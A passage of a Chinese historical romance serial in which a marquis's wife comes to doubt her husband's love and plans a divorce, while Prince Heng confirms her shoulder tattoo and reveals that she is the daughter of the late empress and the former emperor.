曲休一听齐司延自称“本侯”,就知这事没有任何的商量余地了。
他今日尝试过无数次,只要一想转述昨夜江元音的话,便会被齐司延一个眼神噤声。
这都处理完要事,要就寝歇息了,他依旧没法提。
齐司延态度太强硬,曲休也不敢再说,只好悻悻退下。
门后,江元音紧紧抿唇。
就因为她不是江兴德的女儿,曲休一提到她,都会让他不悦吗?
她忽然觉得自己之前笃定的爱意,变得不确信了。
……他真的爱她吗?
齐司延褪去了外衣,着里衣面无表情地迈进了药浴池。
他不像是要沐浴洗漱,仿佛只是为了泡在水里。
江元音平复了情绪,调整了下呼吸,正要走出门后的阴影,朝齐司延走去时,药浴池的大门被人敲响。
曲休去而复返,急声道:“侯爷,有要事容禀!”
江元音只好驻足,稍作等待。
这夜才刚开始,不急这一时半会。
齐司延扬声:“进来。”
曲休推门而入,谨慎合上门,凑近俯身禀告道:“侯爷,刚收到密信,江云裳有消息了!”
齐司延兴致缺缺,语调没甚起伏:“她在哪?”
他成婚后见到江元音才知,这一世,李彦成赐婚给他的,竟不是江云裳。
他当时讶然,犹记得江家只有一个女儿,怀疑江元音的身份,加上不打算就这么放过江云裳,便命曲休去寻江云裳的下落。
转眼,已过了五个月。
没想到兜兜转转,他最初的猜测却都成了真。
“探子在泉郡找了整整五个月,发现她人在三爷府上。”
“三爷?”
“乃泉郡地头蛇,手中势力不容小觑,”曲休面色凝重道:“探子在找寻江云裳时,发现这位泉郡地头蛇行迹可疑,似有……似有谋反之意!”
“弹丸之地的地头蛇想谋反?”齐司延侧头,质疑出声:“异想天开,天方夜谭。”
“侯爷,根据探子所报,这位三爷不止是盘踞在泉郡的地头蛇,其势力早蔓延发展到江南各地,”曲休向前迈了一步,恭敬将手中收到的情报双手呈上,“还请侯爷过目。”
齐司延起身,离开了药浴池。
动弹间,有浴池水溅到曲休手背上。
曲休一怔。
冷水?!
他下意识地抬眼望向浴池,满池子的水,没冒出半点热气。
哪怕现在是大夏天,侯爷也不该泡冷水浴吧?!
要是着凉了可如何是好?!
曲休忙大步迈向屏风,要去给齐司延拿搁置在那的帕子衣服。
齐司延唤住他,“你先去书房点灯,我更衣后便来。”
他得好生研究一番探子送来的情报,若真如曲休刚刚所言,需得立即处理应对此事。
他眸色深了几许。
这或许是个绝佳的机会,推进他的计划。
“是,侯爷。”
曲休应声退下,齐司延抬步迈向屏风后更衣。
没人注意到藏匿在门后阴影里的江元音。
她浑身僵硬,通体生寒,头痛欲裂。
种种疑问都不必再问,她已有了答案。
他竟然知道江云裳,并且五个月前就命探子去泉郡找寻江云裳。
是不是从她嫁入侯府,他就知道,她是“顶替”了江云裳?
他这般心思缜密的人,早在圣上赐婚时,便开始着手调查江家的一切了吧,所以他才会对江家的情况了如指掌。
或许他并不是在宫中得到了与她身世相关的信息,而是如同调查江云裳的下落一般,花了个五个月,查出她非江兴德所生。
从她嫁入侯府,便成了他对付陆氏一家的棋子。
他先是将耳聋目瞎、腿不能行的废人演绎得淋漓尽致,引导着她去发现陆氏一家的恶,让她共情他,再为他冲锋陷阵。
后在江兴德、陈蓉登门时,假惺惺地站出来维护她,替她出头。
让她误以为自己找到了同仇敌忾的盟友,是惺惺相惜的同类。
让她步步沦陷在他编织的温柔里,误以为终于有人无条件的偏爱她。
却原来只是让她心甘情愿当棋子的手段。
那么现在,他突然的逃避冷淡,是她这颗棋子没有用了?
是啊,他已经顺着江云裳,发现了李承烨。
此时的李承烨羽翼未丰,他不再需要她提供什么情报,便能扼杀掉李承烨的皇权梦。
她心间一阵难以言喻的苦涩。
亲耳听到他已找了江云裳五个月,她便知道,什么答案都不重要了。
在侯府的五个月,不过是上位者的戏弄。
她庆幸曲休及时的出现,让她没来得及去质问挑破,那根本是自取其辱。
甚至会惊动齐司延,让她进退两难。
江元音撑着门借力,才没有颓然倒地,弄出动静来。
很快,她听到了齐司延换好衣服,离开了药浴池。
她方才靠着门,无力滑坐在地,抬手抹眼,满手温热湿润。
事实再次告诉她,当她对一个人生出眷念期待,便是主动向对方递了把可以伤害自己的刀。
什么一生一世一双人,此生有她足矣,曾让她心动的情话,如今都是扎心的刀。
她将脸埋在自己的掌心里,终于放任自己哽咽出声。
她想她也该离开了。
永永远远的离开。
又是一夜未眠。
次日清晨,雪燕和清秋进屋侍候江元音梳洗时,吓了一大跳。
“夫人的眼睛怎么肿了?!”
“夫人昨夜……”雪燕后知后觉地反应过来,霎时心疼得红了眼,忍不住道:“夫人都主动示好两回了,侯爷昨夜还是任夫人一个人睡在主屋?侯爷怎能这般欺负夫人!”
“侯爷入宫回来后便不睡在主屋了,难不成在宫中见到哪位公主不成?”
“呸——见了公主又如何,难不成有公主愿意入侯府为妾吗?这重新拜堂行礼才过了十日,侯爷便开始冷落夫人,这辈子还怎么过啊!”
江元音听着,勾唇一笑,眼底满是自嘲。
她倏地想起了秦瑾烟的那句话:惟愿侯爷待你十年如一日,你永不懂我的苦楚。
真真是讽刺至极。
“你们是不是忘了,我刚嫁入侯府时,侯爷便是和我分房睡的?”江元音出声道:“从前怎么过,以后就怎么过。”
“那如何能一样,当时侯爷对夫人并不上心,这些日子,侯爷已经同夫人情投意合了呀。”
“好了,”江元音不欲争辩多言,“去打盆热水来给我热敷吧。”
好在尚书府的赏荷宴是在下午申时,她还有时间来消肿准备。
她今日去参加尚书夫人王氏举办的赏荷宴,既是为了还王氏那日指正齐明宏的人情,也是想趁机去打探打探。
她昨日看了邀约帖,知晓王氏邀约的皆是全汴京权贵之妻。
或许,她能探出,那“追杀”封弋的华服男子到底是谁。
接下来她要做的只有两件事。
一是藏好封弋,让他得以养好伤,二是顺利与齐司延和离。
至于齐司延到底在谋划什么局,他和李承烨谁输谁赢,都与她无关。
她要如她最初计划的那般,离开汴京,回到江南。
与此同时,珩王府,书房。
李霁微微仰头,看着刚刚悬挂上的人像丹青。
画中女子端庄贵气,眉目间自是仪态万千,卓越的气质叫人忽视她姝丽的颜容。
江元音和她近乎是一个模子刻出来的。
两人如若不是母女,而是毫无关系的陌生人,被他皇兄瞧见了,只怕没有瑜贵妃、婕妃什么事了。
李霁展扇扇了扇。
今日,他要去尚书府,查验她的身份。
第121章 神女有意襄王无心
过了午时,江元音坐马车,前往户部尚书府。
达官贵人们的府邸基本都在汴京东边,侯府与尚书府离得不远。
一刻多钟,侯府的马车便驶到了户部尚书府正门口。
江元音在雪燕、清秋的搀扶下下了马车,尚书府门口已经停了不少豪华的马车,一派热闹景象。
她今日着一身天水碧云纱裙,佩戴珍珠与玉饰,低调优雅。
刚下马车,便有一位三十五六左右的夫人朝她盈盈一笑,自如朝她走来,热情道:“侯夫人,好久不见”她目光殷切地看了看江元音的肚子,又关切道:“近来脉象可稳?身子可还舒适?”
江元音只觉得面前的夫人有些许面熟,但又唤不出名字来,琢磨着她这番说辞,猜测她当是上个月齐文台生辰宴来过侯府的某官员夫人。
江元音浅笑颔首,顺着她的话,含糊回道:“一切安好,多谢关心。”
若非对方这一提醒,她甚至有些忘了,她如今在大家眼里还是有孕在身的形象。
思及此,她眸光微暗。
若要与齐司延和离,这个“孩子”也得妥善处理好。
门口候着引路的丫鬟,看了邀约贴,恭敬领着她们前往后湖水榭。
水榭里已有不少贵夫人到了,三三两两的聚在一块,见到江元音的身影出现在廊道上,纷纷侧头看去。
上个月定宁侯断亲,本就引发全城热议,如今病了十多载的定宁侯痊愈,更是满城唏嘘。
圣上召见定宁侯已有三日,大家都在等,圣上会给定宁侯安排什么要职。
会是文臣还是武将?
式微多年的定宁侯府,怕是要重获荣宠了。
她们中一大半会应邀出席,都是听闻了江元音会到场,觉得这是个绝佳的向侯府示好的机会。
尚书府李夫人王氏作为东道主,立即起身迎了上去。
王氏亲昵叹道:“侯夫人有孕在身,还愿应我邀约,我真是受宠若惊,荣幸之至!”
她音量不小,故意向周遭人宣告着自己同江元音关系匪浅。
江元音心知肚明,她不戳破,顺着王氏的话,道:“成日在侯府亦乏味闷得慌,多谢李夫人邀我来逗趣解乏。”
她抬眼,状似好奇地扫过水榭中的夫人们,又道:“不过这亦是我第一次出侯府参加宴请,也就同李夫人稍微熟悉些,还请李夫人多同我介绍介绍。”
这群贵妇里,会有那华服男子的夫人吗?
王氏连连点头,恭敬领着江元音往水榭走,不少会察言观色的夫人,哪用等江元音朝她们走去,率先快步迎了上来,无需王氏开口,一一介绍着自己。
江元音噙着温婉的浅笑,认真听着,在心中比对着她们丈夫和她遇见的那位锦衣华服公子的相似点。
遗憾的是,似乎没一位能对得上。
她也没完全放弃,只等着在她们的交谈里,寻出些蛛丝马迹来。
毕竟全是女眷的宴席,是最快知晓汴京权贵趣闻的地方,在齐文台那次寿宴,她便深有体会。
江元音一到,人基本到齐了。
申时温度降了不少,水榭临湖而建,避开了日头,尚书府的丫鬟们呈上消暑的饮品糕点,每位夫人身边都有贴身丫鬟执扇扇风,湖面微风徐徐,倒也还算凉快。
王氏先是张罗着大家赏荷作诗,给足大家展示才情的机会。
江元音兴致缺缺,一手撑着后腰,一手抚了抚腹部,王氏很有眼力见,马上领她去精心准备的软椅上落座。
王氏亲自上手为其调整了软垫靠枕,“侯夫人若有何不适,随时唤我。”
“不碍事,”江元音温声道:“我便在这赏荷听你们作诗,你们不嫌我扫兴便好。”
若是换做几日前,她或许还有心展示展示,毕竟齐司延要回朝堂,她这个侯夫人代表的是侯府,她愿意为其去交际。
现在……大可不必。
吟诗作对完,大家相继落座。
王氏朝丫鬟挥手示意,候在湖边良久的乐师们便乘船至湖中央。
众人的视线被吸引。
某夫人饮了口凉茶,望着泛舟湖上的乐师扬声感慨道:“诶,乘舟奏乐?这不是我们珩王爷最爱的雅兴么?李夫人莫不是乞巧节也去了银镜湖?”
江元音侧目看过去,她知道,这些个夫人要开始闲谈了。
指不定能听到她想要的信息。
果然,不少人附和出声。
“说起来那夜我倒是在银镜湖,珩王爷的排场可不是寻常人能比的,那夜可是齐聚了全汴京最顶尖的乐师,一人一舟,环珩王爷船舫奏乐,当真是视听盛宴!”
“可不嘛,那夜我犯困早早睡了,但我家老爷上了珩王爷的船舫,回府后同我描述,听得我是肠子悔青……”说到这她似是想起什么似的,抬头看向江元音,问道:“听闻那夜侯爷也包了船舫游湖,后来还上了珩王爷的船舫,侯夫人去是没去?”
江元音淡声回答:“乞巧节我的确去了银镜湖,记得那夜箫声空灵,犹如仙乐。”
提及“仙乐”二字,某些不可描述的记忆画面涌上来,又被她强行压下去。
“侯夫人好品味!”有夫人连声赞道:“乞巧节那夜在银镜湖吹箫的正是珩王爷!”
她一语双关,连同李霁和江元音一道夸赞。
江元音听着,心口倒是涌上几分古怪。
原来那夜齐司延口中的“老男人”竟是珩王?
这时又有人叹了口气,道:“珩王爷生得是玉树临风,又儒雅多才,就是不知怎样的女子才能入珩王爷的眼,成为珩王妃。”
江元音挑眉,“珩王爷还未娶妻?”
若是未娶,想必甚是年轻,怎会是老男人?
“侯夫人不知道?”有人讶然扬声道:“珩王爷今年二十有八,不涉朝堂,唯好风月诗乐,乃汴京风流无双的郎君,不仅没娶王妃,甚至没纳个美妾!”
“从前是没纳,现在可说不准咯,”最先起头的夫人朝湖中抚琴的女子挤眉弄眼地示意道:“我没瞧错的话,湖中小舟上抚琴的乐师,当时清歌坊的南笙姑娘吧?听闻近来珩王爷可是独宠她啊,李夫人面子真广,竟能请到南笙姑娘为我们奏乐,我们……”
“陈夫人慎言啊,”就坐在江元音右手边的王氏出声打断道,“珩王爷的事,岂是我等能妄议的?”
陈夫人却不以为然,“那汴京第一贵女又不在,有甚不能提的?”
她特意加重了“第一贵女”四字的发音,说不出的阴阳怪气。
其余人都会意地捏帕掩唇轻笑。
陈夫人笑容不散,声音却冷了冷,意有所指道:“今日我们姐姐妹妹聚在这谈笑玩乐,图的就是个轻松自在,不至于会有嘴碎的人,跑去珩王爷与汴京第一贵女那搬弄是非吧?”
在场的夫人一共也就九位,除去江元音,大家丈夫的品阶都相差无几,谁都无需忌惮谁。
这些人的姐妹情最是虚假,偏生又最是牢不可破。
若有人两面三刀的告状,日后怕是要遭这群贵夫人圈子排挤。
王氏面色微僵,神色中多了些紧张与不自在。
江元音不动声色将其的反应收入眼底,越发多了几分兴致,出声问道:“敢问这汴京第一贵女是?”
“自然是国公府嫡女,许绮嫚,许大小姐啊,”陈夫人面带嘲弄,“想当年我未出阁时,许大小姐便是汴京第一贵女,”她两手一摊,“谁知道这么多年过去,我已为人妻母,许大小姐仍是汴京第一贵女,待字闺中呢。”
江元音不去附和点评其话中恶意,兀自问道:“为何许大小姐在,便不能提呢?”
陈夫人热心解惑道:“侯夫人来汴京才半年,平日里又不怎地出侯府,想来是不知道,许大小姐倾慕珩王爷多年,可偏偏啊——”
她故意拉长语调,环视众人交换着眼色,调笑道:“神女有意襄王无心啊。”
聚在这里的夫人,或多或少对许绮嫚都有不满。
谈不上具体的矛盾过节,只是许绮嫚素来不愿意与她们往来,落在她们眼里,便是高高在上,傲慢孤僻,难免伤了她们的自尊。
微妙的恶意在滋生流淌,有人笑道:“若是许大小姐见着南笙姑娘,还不得气昏过去?”
“贵女高不可攀,哪有南笙姑娘年轻貌美又善解人意呢?”
“可不嘛,我若是珩王……”
“好啦!”王氏再次尝试出声打断,“你们既然都这般欣赏南笙姑娘,何不好好听她抚琴?”
她神色僵硬,有强掩的惶恐与不安。
离王氏远的或许察觉不到,但江元音就坐在她身旁,看得是一清二楚。
她抬眼望向湖面小舟,余光却一直在留心观察着王氏,精准得捕捉到王氏趁着众人不注意时,紧张往右斜前方看。
江元音状似不经意地抬眸,循着王氏的目光看去,视野里出现的是园林假山。
远远的,能看到造景假山中有一凉亭。
凉亭里好似立着个男人。
也不知是不是前边大家在谈论乞巧节的事,此情此景令她脑海里忽地浮现那夜街市上,立在花灯摊贩下的男人。
紧接着那种令她不适的,黏在身上的被注视的感觉,随之而来。
第122章 侯夫人左肩的确有刺青图腾
江元音不敢置信。
那夜在花灯下盯着她看的锦衣男人,竟是尚书府的公子?
不,不可能。
且不说其派头气势远在尚书府之上,若真是尚书府的公子,王氏根本没必要这般紧张不安。
再说,王氏长子方才十岁出头。
男人立在凉亭里,有假山遮掩,在场其他夫人都是看不到他的。
他卡的角度方位,分明是奔她而来的。
他到底谁?
王氏知不知情?
江元音觉得与其胡思乱想,倒不如主动直接地问。
她先收回落在凉亭的目光,看向王氏,唤道:“李夫人。”
王氏应声,朝她凑近,“侯夫人有何吩咐?”
江元音抬了抬下巴,朝假山后的凉亭点了点,言简意赅地问:“那个男人是谁?”
“什、什么男人?”王氏慌了下神,紧张抬眼看过去,瞬间松了口气,道:“侯夫人,哪有什么男人啊?”
江元音眸色一沉。
她不过低头唤了下王氏,凉亭里的男人便不见了。
王氏左右探了下头,一副好奇张望地模样,“没有人啊。”
她再三确认完,才转头冲江元音道:“许是树影拂动,又隔得远,才让侯夫人看岔了眼。”
末了,不忘笑着补充道:“侯夫人安心,今日乃女眷们的宴会,我家老爷亦忙公务去了,我儿尚年幼,府中没有外男。”
江元音端详着王氏的神色,半晌才随口应道:“大抵是我看花眼了吧。”
“后院树多,难免,希望没扰了侯夫人听琴的雅兴。”
江元音无所谓的摇摇头,两人又将目光投向湖面。
她的余光一直不住往假山后凉亭跑。
她笃定自己没有看错,那里就是有个男人。
这时尚书府的丫鬟端上今日的第二道糖水饮品:碧荷凝露。
丫鬟给江元音呈上饮品时,却没由来的手一抖,饶是雪燕和清秋都反应极快去阻挡挽救,这碗糖水还是全撒在了江元音的衣裳上。
丫鬟连忙跪地认错求饶:“奴婢笨手笨脚,脏了侯夫人衣裙,求侯夫人恕罪!”
不待江元音主仆发声,王氏倏地起身,激动呵斥道:“我千叮咛万嘱咐,给侯夫人上餐食需得万般小心,侯夫人有孕在身,你弄脏她衣裙是小,要是冲撞了她腹中胎儿你可担待不起!”
语罢忙俯身弯腰凑近,打量着江元音,关切问道:“侯夫人可有被惊吓到?身子可有不适?我这就唤人去请郎中,再将这蠢笨的丫鬟杖责二十,给侯夫人赔罪!”
闹出这么大动静,其余人纷纷侧目看过来,场面的关怀出声。
“哎呀,这丫鬟实在粗心,侯夫人没事吧?”
“快去唤郎中,可别动了胎气!”
“这要动了胎气,杖责二十怕是不够赔罪!”
丫鬟哆嗦着,连连磕头求饶:“奴婢知错,求侯夫人恕罪、求夫人恕罪……”
问责声络绎不绝,江元音扫了眼战战兢兢直发抖的丫鬟,拦住了要命人去唤郎中的王氏,道:“无碍,只是弄脏了衣裳罢了,我并未惊吓到。”
她早不再服用假孕的汤药,哪能在尚书府让郎中看诊。
“没事便好,没事便好,”王氏松了口气,又怒斥跪地的丫鬟,“还不快叩谢侯夫人,饶你一命!”
“谢侯夫人饶奴婢一命……”
王氏看向江元音那被碧荷凝露浸染的衣裳,提议道:“前两日我定做的月华裙刚制好送来,我尚未穿过,侯夫人若不嫌弃,且先换上,我马上命人去清洗侯夫人身上的衣裳,趁着日头未落,或许能在侯夫人离府前将衣裳晾晒干。”
江元音心底闪过怀疑,但看王氏眼里的关怀还算真诚,犹豫片刻,颔首道:“如此甚好。”
她的心思早不在赏荷听曲上,而在假山后,凉亭里的男人身上。
去换衣服也好,一来她厌恶被这未知的目光盯着,二来离了众人的视野,她或许能去一探究竟。
更何况,这糖水撒在身上,着实难受不舒爽。
于是江元音起身,随王氏去后院更衣。
丫鬟送来了月华裙和铜盆帕子。
雪燕伸手去接月华裙,清秋则伸手去接铜盆帕子,王氏却先一步自丫鬟手中取过月华裙,道:“我来吧。”
雪燕手僵在半空中,不敢收回,看向江元音无声请示。
江元音不咸不淡道:“哪能让李夫人替我更衣?”
王氏笑道:“毕竟是我府中丫鬟酿此大错,侯夫人大度不予惩治,但我心里仍是愧疚难当,能亲自帮侯夫人换上干净衣裙,我心里也能好受些。”
江元音掀了掀眼皮,沉默片刻后,点头应了,“那便有劳李夫人。”
她倒要看看,王氏是想唱哪出。
王氏上前替江元音脱掉那身天水碧云纱裙,清秋拧了帕子,替江元音擦拭浸透衣裙弄到了皮肤上的碧荷凝露。
大家各怀心思,没人开口说话,气氛有几分难言的古怪。
江元音一直在留心王氏的神色举动,但她好似真的只是认真细致地替自己更衣,没有任何出格反常的行动。
……奇怪。
……是她多想了?
换好衣服后,王氏似是如释重负,脸上的笑容越发轻松和情真意切,冲江元音道:“侯夫人天生丽质,身段优越,这月华裙穿在侯夫人身上,倒似是为侯夫人量身定制的一般。”
她连声夸赞完,吩咐一旁的丫鬟,“领侯夫人回宴席去。”
江元音眉眼微挑,问道:“李夫人是东道主,不回宴席?”
“侯夫人先行,我迟会便来,”王氏解释道:“侯夫人的衣裳自是名贵讲究,我得亲自去嘱咐她们如何清洗,方能安心。”
“李夫人费心了,”江元音坦然直接地问道:“李夫人,不知我可否逛逛贵府的园林?一来我的确想去那假山凉亭看看,若真是树影也好消了我心中疑思,二来也好欣赏欣赏贵府的园林造景。”
她直直地望着王氏,想看看其会不会露出心虚慌乱的神色来。
王氏异常的镇定,甚至没有半分犹豫地应了:“的确眼见为实,侯夫人想去尽管去,免得心里存着事,想来也不痛快。”
她接着问:“可需丫鬟领路?”
江元音摇头,“不必,我随便逛逛。”
王氏不勉强,“那侯夫人请便。”
语罢,大家一同出了客房,然后分别。
王氏同抱着江元音换下来的脏衣服的丫鬟往左拐,经过一段廊道,她屏退了丫鬟,独自迈向某间空房。
她当然不会心虚害怕江元音要去假山园林那一探究竟,因为江元音要找的人,在她们动身去换衣服时,便已经去了她现在要去的空房。
王氏推门而入,房间里的人,锦衣华服,手持折扇,正是前边被大家热议的珩王李霁。
李霁右手持扇,缓慢敲打着自己的左手掌,开口问道:“瞧见了?”
王氏俯身恭敬道:“回王爷,侯夫人左肩的确有刺青图腾。”
李霁敲扇的动作一顿,近乎屏息地紧声问道:“……是什么图腾?”
王氏先前生怕江元音起疑,不敢盯着直看,她仔细回忆思索了一番,认真且谨慎地回道:“似是……九尾狐。”
“什么?”李霁激动朝前迈了一步,压低声音重复问道:“你说她左肩的刺青是什么图腾?”
王氏感到一阵威压,察觉到自己的回答让李霁不满意了,脸色白了白,下意识地想往后退,斟酌着用词回道:“看着像九尾狐……总、总之是动物,有鼻子有眼的动物……”
李霁蹙眉,握紧了手中折扇。
……动物?
……怎么可能!
王氏受不住李霁的沉默,吓得腿软跪地,连声表态:“妾身纵有十个胆子也万不敢欺骗王爷,妾身所言句句属实……侯夫人左肩的刺青的的确确是、是动物……”
李霁深呼吸,问道:“她在哪?回宴席了?”
王氏摇头,“侯夫人说是要去王爷先前待着的凉亭看看……”
李霁径直绕过跪地的王氏,快步离开。
另一边,江元音主仆已走至假山凉亭。
毫不意外,那里自然是空无一人。
江元音清楚,男人不可能原地不动,站在这等她。
她过来只是想确认一件事。
她迈到之前男人站着的位置,抬眼看向自己先前在湖边水榭的位置。
果然,他站在这,就是为了盯着她。
江元音隔湖眺望,陷入沉思。
未多久,雪燕和清秋相继讶然地唤了声“夫人”,江元音回神,循着她们的视线看去,看到一道熟悉的身影大步朝自己走来。
竟是那在玄渺峰求乘的男人!
男人的脸和刚刚凉亭里、花灯摊贩下的身影融合。
他们竟是一个人?!
这个念头浮现脑海后,便有更多不可思议的念头相继涌现,逐渐串联。
李霁停在她面前,挑眉问道:“你在找我?”
江元音后背僵直,面色却是故作的轻松随意,她点点头,带着试探地出声:“是啊,珩王爷。”
第123章 你母亲是先皇后
江元音这句“珩王爷”,七分笃定,三分试探。
刚刚在众夫人的闲谈里,年纪、权势乃至于气质全部接近吻合的,只有珩王李霁。
他是珩王,所以毫不忌惮侯府,所以有那样豪华规格的马车,所以有夜行令牌,能号令巡铺队。
所以能让尚书府夫人王氏办这样一场赏荷宴。
所以会有南笙泛舟抚琴。
那只怕不是王氏的想法,而是李霁个人的安排。
既然他便是乞巧节盯着她的男人,他便不可能是因为封弋而来,他的目的是她。
李霁挑眉,似笑非笑:“你倒是聪慧,如何认出本王身份的?王氏同你说的?”
一句话认证了江元音的所有猜测。
他的所作所为,王氏通通知情,所以刚刚在湖边水榭,众人一提到李霁同许绮嫚的绯闻,她便神色惶恐不安。
但细想一番,今日王氏的言行,唯一出格怪异的只有一件:替她更衣。
上回见面,他非常执着地让她换衣服。
原来根本不是想要沾有了封弋鲜血的血衣!
她的身体有什么是值得他好奇需要确认的?
随即齐司延摩挲她左肩刺青的回忆涌了上来,近期种种疑惑的事全部糅杂在一块,汇聚成一个匪夷所思的答案。
李霁是奔着她身上的刺青来的?
他知道她的身世?
他将她的身世告诉了齐司延?
江元音思绪翩飞,李霁等得不耐,眯了眯眼,不悦道:“本王在同你说话。”
江元音极力克制自己,“王爷何必对一个孕妇苦苦相逼?”
李霁被噎住,目光下意识的扫了眼她的腹部,再落到她面容上时,眼底透出些认命的妥协。
上回见面,她全程戴着帷帽,不露真容。
此刻,对着这张同故人如出一辙的脸,他的气焰都不自觉矮了几分。
李霁挥挥折扇,屏退随侍,也示意雪燕、清秋退下。
雪燕、清秋却默契往江元音身边围了过去。
管面前的人是王爷还是圣上,她们的主子只有江元音。
她们只听夫人的命令!
江元音心思百转千回,她本能地想要逃避有关自己身世的一切,但又很是清楚,李霁不会善罢甘休。
便是能避开今日,一定还有下回。
……也罢,那就做个了断。
江元音示意清秋雪燕退下。
她走出凉亭,往假山后走,李霁抬步跟上。
两人的身影被假山与茂密的树影遮掩。
两人隔着不到三尺的距离,李霁不受控地目不转睛地望着江元音。
故人和面前的人重叠,过去和现在融合,他的心情难以言喻地微妙。
像,实在是太像了。
江元音不躲不闪,她亦在无声端详打量着他,试图从他的情绪态度里,揣度分析出,她的身世同他的关系。
他眸色中没有恶意,更多的是……缅怀?
看起来,他当是同她的生父生母有些交情。
她心里彻底没了对他的恐惧不安。
良久的对视,李霁终于从震撼中稍稍缓神,清了清嗓子,打破沉默:“你不好奇本王为何找你?”
“不好奇。”她什么都不想知道,若非他穷追不舍,她甚至不会站在这同他交谈。
李霁:……
屡次被一个小丫头噎住,他忍不住执扇轻敲她的脑袋,“你要不是生了这张脸,本王就不是敲你脑袋,而是敲掉你的脑袋。”
江元音侧头避开,心中腹诽,若不是知道他是因为她张脸而来,她也不会在一个王爷面前,如此肆无忌惮。
从借乘马车到让王氏举办赏荷宴,他宁可大费周章,也未曾用权势压她,她便笃定他不会伤害她。
毕竟,同样是因为她左肩的胎记刺青,李承烨的做法是将她禁锢折磨。
而这,也是她逃避不愿面对自己身世的原因之一。
“怎会?”江元音不以为然,“全汴京都道王爷温润儒雅风流无双,想来做不出无故要人脑袋的残暴事。”
李霁听得舒爽,扬唇笑道:“诚然如此。”
江元音很是无语地望着他。
她刚刚话的重点并不是夸他吧?
李霁展扇扇了扇,不绕圈子道:“本王只同你确认两件事,你需得如实以告。”
“一,你非江家亲生,而是收养的女儿,对吗?”
“二,你左肩的刺青是后来修改过了,原本当是莲花,对吗?”
江元音沉默,宽大袖袍下的双手蜷缩成拳。
李霁沉声,道:“你如实告诉我,本王保证,不会追究任何,但若要本王去江家求证——”他故意拉长语调,近乎胁迫,“一经核实,可就是欺君之罪,要被满门抄斩的。”
江元音闻言,反而轻松了不少,长睫轻扫:“王爷请便。”
拿江家人来威胁她?
那真是求之不得。
看来他还根本没去调查过她与江家的关系,心思远不如齐司延缜密。
李霁又被噎住了。
再三吃瘪,他收了扇,多少有些恼羞成怒,没好气道:“你不在乎江家,那侯府呢?你那浓情蜜意的夫君,你不管了?”
犹记得乞巧节那日,齐司延大秀恩爱,可是连个香囊都舍不得取下给他瞧一瞧呢。
江元音一想到齐司延对自己的算计,和这几日的冷落,只觉得“浓情蜜意”四个字甚是刺耳。
她掀了掀眼皮,道:“在妾身回答王爷的问题前,妾身有几个问题想先问问王爷,还望王爷不吝赐教。”
李霁执扇轻点,示意她可以发问。
江元音问道:“王爷可是认识什么同我容貌相似的人,才开始质疑我的身世?”
“是。”
江元音问出最关键的问题:“她……还活着吗?”
李霁握紧了手中折扇,眼里有悲伤闪烁,摇了摇头。
“那他呢?”江元音强作镇定,声音很轻,“他……还活着吗?”
她没指名道姓,但李霁能听明白,这个“他”指得是她生父。
李霁犹豫片刻,还是叹息回道:“死了。”
江元音呼吸一滞,睫毛颤了颤。
他们都死了。
那她是不是被遗弃,又因何被遗弃,好像都不重要了。
分不清是失落还是释怀,江元音松开蜷缩的手指,放弃继续追问,开口绕回了先前李霁抛出来的问题:“我的确非江家亲生,左肩原本的确是莲花刺青。”
李霁眸光骤亮,不待他出声,江元音又道:“不过让王爷失望了,我并非王爷故友之女。”
她意有所指地补充道:“王爷的旧友想必都是汴京的王孙贵人,妾身自小在江南长大,自知身份低微,不敢同汴京的王孙贵人攀亲。”
“还望王爷顾念同故友的情谊,莫再提及声张此事,饶过江家满门。”
她当然不在意江兴德等人的死活,只是不想惹祸上身。
在和离离开汴京前,她只想安稳度日,不想惹上任何的纷争麻烦。
江元音说得婉转,但她相信李霁能听明白。
她朝他福身行礼,“妾身谢过王爷大恩。”
李霁伸手,以扇拦住行完礼欲走的江元音。
他道:“你说了这么多,是不是也该听本王说两句。”
江元音站直身子,收敛起了之前不理智地“失礼、冒犯”,恭顺道:“妾身洗耳恭听。”
李霁环臂,折扇有一下没一下的敲着自己的胳膊,“你当能感受到,本王对你没有恶意,否则就初八那日,你小命都丢几回了。”
她先是在玄渺峰将他拒载,又占了他的马车,将他扔在夜晚东街。
他若要计较,她哪还能在这同他说话?
“是,”江元音颔首:“王爷大度。”
“你当年是在襁褓中被掳走,当是机缘巧合被江家人捡到收养,你母亲临终前依旧挂念着你。”
江元音屏息,心跳漏了一拍。
……原来她不是被遗弃的吗?
“你母亲于本王……”李霁眼角眉梢染上复杂之色,薄唇扯了扯,含糊带过,“算是有恩,所以本王才会如此大费周章,只为确认,你是不是她的女儿。”
“若今日确定你左肩没有莲花刺青,本王会亲自去劝定宁侯与你和离,再将你送进宫,带到皇兄面前。”
他没有粉饰美化自己的算盘,坦荡直言。
皇兄的执念,他最是清楚,否则宫中也不会有瑜贵妃、婕妃。
江元音听得一头雾水,有些不好的预感,但见他着实坦诚,便开口问道:“这同皇上有何关系?”
李霁深呼吸,叹了口气,直直地望着她,终于开口挑明道:“你母亲是先皇后。”
怕她绕不明白这层关系,他顿了顿,又补充道:“你母亲乃当今圣上的正妻。”
江元音的心咯噔了下,脑海中各种信息串联,好似断了根弦,嗡嗡作响。
她生母是当今圣上的正妻,而她生父却死了?
她生母是先皇后,生父却不是当今圣上?
这是什么骇人听闻的事!
李霁沉声嘱咐道:“你切记,万不可入宫,不能让皇兄见到你。”
他安抚承诺道:“你既是她的女儿,本王定护住你。”
江元音震惊不已,腿一软,差点站不稳。
李霁伸手想去扶她一把,被她避开。
江元音抬手撑着假山借力,满眸不可思议地望着他,没忍住颤声问:“到底是怎样的‘恩’,让王爷愿意护住自己皇嫂不忠而生下的女儿?”
第124章 他们是兄妹?
李霁又是一扇子敲过去。
这一次,江元音因为腿软扶着假山,没能避开。
好在他下手也不重。
李霁拧眉呵斥道:“胡说八道什么?哪有你这般揣度自己母亲的?”
他不满地扫了她一眼,没好气地点明道:“你生父自是先帝!”
江元音一颗心跌宕起伏,难以消化缓神:“先帝?”
李霁眸色古怪看她,“你便是在江南长大,不闻国事,但嫁入定宁侯府,来汴京也快半年,难道对大昭的情况一无所知?”
江元音当然知道,便是因为知道,此刻才难以接受。
先帝乃当今圣上同父异母的兄长。
先帝资质平庸,无治国之能,自登基后,边关战事不断,胡人屡屡来犯,边关百姓过得苦不堪言。
然先帝无征战护守边关之心,纵大昭英勇战士比比皆是,齐腾、洛青莞等大将军主动请缨,仍不肯迎战,甚至将精兵调回皇城附近,只为护住汴京安宁。
此举大失民心,十五年前,在齐腾大将军的拥护下,当今圣上李彦成逼先帝退位。
据闻先帝于龙椅上自刎,六岁的太子在护卫队的掩护下,逃离汴京,一路南下。
